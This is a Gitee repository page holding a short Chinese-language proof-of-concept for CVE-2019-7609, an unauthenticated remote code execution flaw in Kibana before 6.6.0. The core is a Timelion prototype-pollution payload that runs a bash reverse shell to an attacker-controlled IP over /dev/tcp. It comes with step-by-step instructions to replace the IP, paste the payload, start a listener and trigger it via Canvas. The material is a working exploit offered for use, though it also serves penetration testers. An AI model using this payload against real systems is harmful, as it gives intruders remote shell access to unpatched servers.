CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md · lvhongzhi/Penetration_Testing_POC

forked from bughunt/Penetration_Testing_POC

加入 Gitee

与超过 1200万开发者一起发现、参与优秀开源项目，私有仓库也完全免费：）

免费加入

文件

克隆/下载

CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md 568 Bytes

一键复制编辑原始数据按行查看历史

提交于 2019-10-26 21:15 . add CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行

## CVE-2019-7609-kibana<6.6.0未授权远程代码命令执行

## POC
将POC里的反链IP地址换成自己的，然后在目标机器上的 `Timelion` 选项下将以下 `POC` 粘贴进去，然后点击 `Run` 运行：  

```
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.20.166/8989 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```
![](./img/Timelion.jpg)  

然后自己机器开启监听，再点击 `Canvas` 即可出发漏洞。  
![](./img/Canvas.jpg)

马建仓 AI 助手

尝试更多

代码解读

代码找茬

代码优化

https://gitee.com/ishine2008/Penetration_Testing_POC.git

git@gitee.com:ishine2008/Penetration_Testing_POC.git

ishine2008

Penetration_Testing_POC

master

lvhongzhi/Penetration_Testing_POC

简介

发行版

贡献者

近期动态

lvhongzhi/Penetration_Testing_POC .gitee-modal { width: 500px !important; }

简介

发行版

贡献者

近期动态

搜索帮助

lvhongzhi/Penetration_Testing_POC